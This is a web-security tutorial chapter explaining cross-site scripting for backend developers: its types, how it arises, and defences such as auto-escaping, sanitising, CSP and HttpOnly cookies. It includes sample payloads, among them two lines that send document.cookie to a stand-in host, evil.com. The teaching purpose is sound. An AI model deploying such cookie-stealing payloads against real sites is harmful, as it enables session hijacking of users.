KAHIBARO
Discord Login Register

Cross-Site Scripting

Understanding Cross-Site Scripting

Cross-Site Scripting, usually written as XSS, is one of the most common and dangerous web vulnerabilities. As a backend developer you must understand how it works and how to prevent it, even though the attack often happens inside the user’s browser.

This chapter explains XSS from a backend perspective, with many concrete examples and safe patterns you can apply in your APIs and templates.

Key idea: XSS happens when untrusted input (usually from a user) is rendered as HTML or JavaScript without proper escaping or validation, so that the browser interprets it as code instead of text.


What XSS Can Do

XSS is powerful because the attacker’s code runs in the victim’s browser as if it came from your site. This usually means:

What attacker can doExample
Steal session dataRead cookies and send them to attacker’s server
Perform actions as the victimSend POST requests, change account settings, make purchases
Change or fake UIShow fake login forms to steal passwords
Spread malwareInject scripts that load malicious content from other servers
Deface pagesReplace visible text or images

For example, a malicious script can run in the user’s browser:

javascript
// Attacker code running in victim's browser
const img = document.createElement('img');
img.src = 'https://evil.com/steal?cookie=' + encodeURIComponent(document.cookie);
document.body.appendChild(img);

If your site uses cookie-based sessions and cookies are not marked HttpOnly, the attacker can steal session cookies and hijack user accounts.


Types of XSS

There are three main categories of XSS. Understanding them helps you recognize where to put defenses.

Reflected XSS

Reflected XSS occurs when untrusted input is included in a single HTTP response without proper escaping, usually in search results, error messages, or query parameters.

Flow:

  1. Attacker crafts a link with malicious JavaScript in a parameter.
  2. Victim clicks the link.
  3. Server takes the parameter and reflects it in the HTML response.
  4. Browser executes the script.

Example link:

text
https://example.com/search?q=<script>alert("XSS")</script>

Server-side template (insecure):

html
<p>You searched for: {{ query }}</p>

If the template engine inserts query without escaping HTML, the browser will see:

html
<p>You searched for: <script>alert("XSS")</script></p>

The <script> tag will run.

Stored XSS

Stored XSS occurs when the malicious data is saved in your database or another persistent storage, then shown to many users.

Flow:

  1. Attacker submits malicious content, for example in a comment, username, or profile bio.
  2. Server stores it.
  3. Later, other users load a page that reads this data from the database.
  4. The malicious script is rendered and executed in their browsers.

Example comment stored in DB:

html
Nice post! <script>fetch('https://evil.com?c=' + document.cookie)</script>

If your page renders comments as raw HTML, every user that views the post can trigger the attack.

Stored XSS is often more dangerous than reflected XSS because it can affect many users automatically, without them clicking a special link.

DOM-based XSS

DOM-based XSS does not require the server to inject the script directly. Instead, JavaScript on the page manipulates the DOM in an unsafe way using untrusted data.

Flow:

  1. Browser loads a legitimate page.
  2. Client-side JavaScript reads untrusted data, for example from location.search or location.hash.
  3. JavaScript inserts that value into the DOM using dangerous APIs such as innerHTML.
  4. The browser executes the inserted script.

Client-side example:

javascript
// Insecure: inserting untrusted value into innerHTML
const params = new URLSearchParams(window.location.search);
const name = params.get('name'); // attacker controls this
document.getElementById('greeting').innerHTML = 'Hello ' + name;

If the user visits:

text
https://example.com/?name=<img src=x onerror=alert("XSS")>

The browser will execute the onerror handler.

As a backend developer, you do not control the frontend JavaScript, but you should be aware that sending raw user content to the frontend increases the risk if the frontend handles it unsafely.


How XSS Relates to Backend Development

You might think XSS is a frontend problem because the attack runs in the browser. However, backend choices strongly influence XSS risk:

A safe backend:

Common XSS Sources in Backend Applications

HTML Templates with User Data

You will often render HTML templates with user content, such as:

Insecure pattern:

html
<p>Welcome, {{ username }}</p>

If the template system does not escape HTML, then a username like:

text
<script>alert("XSS")</script>

becomes executable code.

Safer pattern, if your engine does not auto escape:

html
<p>Welcome, {{ escape(username) }}</p>

Or rely on template engines that auto escape by default, such as Jinja2 in its default configuration.

Raw HTML from Users

Some apps allow users to submit HTML or markdown, for example blog platforms or forums. This is naturally risky.

Example workflow:

  1. User writes markdown or HTML.
  2. Backend converts it to HTML.
  3. Backend sends the HTML to the browser to render.

If you do not sanitize the HTML, users can inject scripts:

markdown
# My Post
Normal text.
<script>/* malicious code */</script>

Backend should use a trusted HTML sanitizer to remove scripts and event attributes, for example removing <script>, onclick, onerror, style with expression(), etc.

Query Parameters in Responses

Even if you send mostly JSON, some endpoints still serve HTML. Search pages and error pages often reflect query parameters such as q, page, or redirect.

An insecure pattern:

python
# Conceptual pseudo-code (template rendering)
return HTML(f"Your query was: {request.query_params['q']}")

Safer pattern:

How Browsers Interpret Untrusted Data

From the browser’s perspective, it receives an HTML document and parses it. Any of these contexts can execute JavaScript:

Context typeExample
<script> tag<script>alert(1)</script>
Event attributes<img src="x" onerror="alert(1)">
javascript: URLs<a href="javascript:alert(1)">Click</a>
Inline CSS expressionsstyle="background:url(javascript:...)"
Inline handlers in SVGExample of event attributes inside <svg>

If user input can land in these places as raw content, XSS is likely.


Preventing XSS, Core Principles

From the backend side, you fight XSS by combining several strategies.

Core defense rule: Treat all input as untrusted, and encode or sanitize it based on output context before sending it to the browser.

1. Use Auto Escaping in Templates

Most server-side template engines support auto escaping:

Concept:

Example:

html
<p>Welcome, {{ username }}</p>

If username = '<script>alert(1)</script>', the browser will actually see:

html
<p>Welcome, &lt;script&gt;alert(1)&lt;/script&gt;</p>

Never disable auto escaping unless you are absolutely sure the content is safe.

2. Context-Aware Escaping

HTML has different contexts:

Output contextEscaping needed
Element contentEscape <, >, &, "
HTML attributeEscape as above, plus handle quotes carefully
URL parametersURL encode using encodeURIComponent or equivalent
JavaScript stringEscape quotes, backslashes, newlines, etc

Example: inserting in an attribute:

html
<img src="/avatars/{{ username }}.png">

If username contains " onerror="alert(1)", it can break out of the attribute. You must ensure your template engine escapes for attribute context or avoid putting untrusted data in attributes directly.

3. Avoid Building HTML Strings in Code

As a backend developer, do not construct full HTML manually using string concatenation with untrusted data.

Bad:

python
html = "<p>Hello " + username + "</p>"
return HTMLResponse(html)

Better:

4. Sanitize Rich Text Inputs

If your application allows rich text, HTML, or markdown, you need a sanitizer.

Typical approach:

  1. Backend receives user input as text.
  2. Backend renders markdown to HTML.
  3. Backend passes HTML through a sanitizer library that:
    • Removes <script>, <iframe>, <object>, <embed>, etc.
    • Removes event attributes like onclick, onerror.
    • Restricts allowed tags to a safe subset like <p>, <b>, <i>, <a>, <ul>, <li>, <code>, <pre>.
  4. Store only sanitized HTML or sanitize every time before output.

Avoid writing your own sanitizer. Use maintained libraries built for this purpose.


Manual Encoding Examples

Sometimes you respond with JSON but later render that JSON in HTML on another page. Encoding correctly in the backend reduces risk.

Example: Escaping HTML Special Characters

Minimal encoding (pseudocode):

python
def html_escape(text: str) -> str:
    return (text
        .replace("&", "&amp;")
        .replace("<", "&lt;")
        .replace(">", "&gt;")
        .replace('"', "&quot;")
        .replace("'", "&#x27;"))

Use this only conceptually. In real code, use built-in escaping functions or your framework’s helpers.

Example: Safe JSON Responses

JSON itself does not execute JavaScript. However, if someone embeds JSON directly into a <script> tag, problems can appear.

For typical REST APIs:

Example safe JSON:

json
{
  "comment": "<script>alert('XSS')</script>"
}

This does not execute code by itself. It only becomes dangerous if the frontend uses it incorrectly, for example:

javascript
// INSECURE front-end: building HTML with innerHTML
commentContainer.innerHTML = response.comment;

From backend side, encourage frontend teams to use:

javascript
commentContainer.textContent = response.comment; // safe

Security Headers that Help Against XSS

Backend services can add HTTP response headers that reduce XSS impact.

Content Security Policy (CSP)

CSP is a powerful header that limits what resources a page can load and where scripts can come from.

Example CSP header:

http
Content-Security-Policy: default-src 'self'; script-src 'self'

This tells the browser:

Benefits:

For more advanced setups, you can allow specific CDNs:

http
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

X-XSS-Protection

This is an older header for legacy browsers, and many modern browsers ignore it, but you might still encounter it.

http
X-XSS-Protection: 1; mode=block

This asks the browser to attempt reflected XSS detection and block the response. It should not replace proper escaping and CSP.

HttpOnly Cookies

While not directly preventing XSS, HttpOnly cookies limit damage.

If a cookie is marked HttpOnly, JavaScript cannot read it with document.cookie. If XSS exists, the attacker may be unable to steal the session cookie.

Backend example:

http
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax

Always mark session cookies as HttpOnly.


Examples of Unsafe vs Safe Backend Code

Example 1: Reflected Search Term

Insecure:

python
# Pseudo-code
def search(request):
    q = request.query_params.get("q", "")
    html = f"<h1>Results for: {q}</h1>"
    return HTMLResponse(html)

If q = '<script>alert(1)</script>', this results in XSS.

Safer with Templates:

python
def search(request):
    q = request.query_params.get("q", "")
    return templates.TemplateResponse(
        "search.html",
        {"request": request, "query": q}
    )

search.html:

html
<h1>Results for: {{ query }}</h1>

Assuming {{ query }} is auto escaped, the page shows safe text.

Example 2: User Profile with Bio

Insecure stored XSS risk:

python
# Save bio directly in DB and later render as raw HTML
def show_profile(user_id):
    user = get_user(user_id)
    return HTMLResponse(f"<p>{user.bio}</p>")

If bio contains <script>...</script>, it runs.

Safer with escaping:

python
def show_profile(user_id):
    user = get_user(user_id)
    return templates.TemplateResponse(
        "profile.html",
        {"request": request, "user": user}
    )

profile.html:

html
<p>{{ user.bio }}</p>  <!-- auto escaping -->

Or, if you allow only limited HTML, sanitize bio before storing or before rendering.


Testing and Detecting XSS During Development

As a backend developer, you should learn to recognize possible XSS locations and test them.

Test Payloads

Simple test values:

You can put these into form fields, query parameters, or any user input and see how they appear on the page.

If the browser shows the script or element as text, your escaping works. If it executes an alert dialog, there is a problem.

Checklist for Backend XSS Review

Use this checklist when reviewing backend code:


QuestionIf "yes", check for XSS
Does any endpoint render HTML directly?Ensure templates auto escape or encode output
Are user inputs reflected in error or status pages?Escape values in responses
Does your API output HTML or markdown?Sanitize stored or returned content
Do you allow users to customize HTML content?Use a sanitizer and strict allowed tags list
Are you building any HTML manually with string ops?Replace with templates or encoding helpers
Are session cookies missing HttpOnly flag?Add HttpOnly and Secure

Backend Best Practices Against XSS

To summarize practical guidelines for your backend:

Backend XSS prevention rules:

  1. Never trust user input. Treat everything from clients as untrusted.
  2. Use auto escaping templates. Do not disable escaping by default.
  3. Avoid manual HTML string building. Use templates or libraries.
  4. Sanitize rich text or HTML inputs. Use a maintained sanitizer library.
  5. Use appropriate security headers. Especially Content-Security-Policy.
  6. Mark session cookies as HttpOnly. Reduce impact if XSS occurs.
  7. Limit where HTML is allowed. Prefer plain text unless absolutely necessary.
  8. Review any feature that stores user content. Comments, bios, messages, etc.

As you build backend services for real applications, combine these practices with secure coding on the frontend to keep your users safe from XSS attacks.

Views: 6

Comments

Please login to add a comment.

Don't have an account? Register now!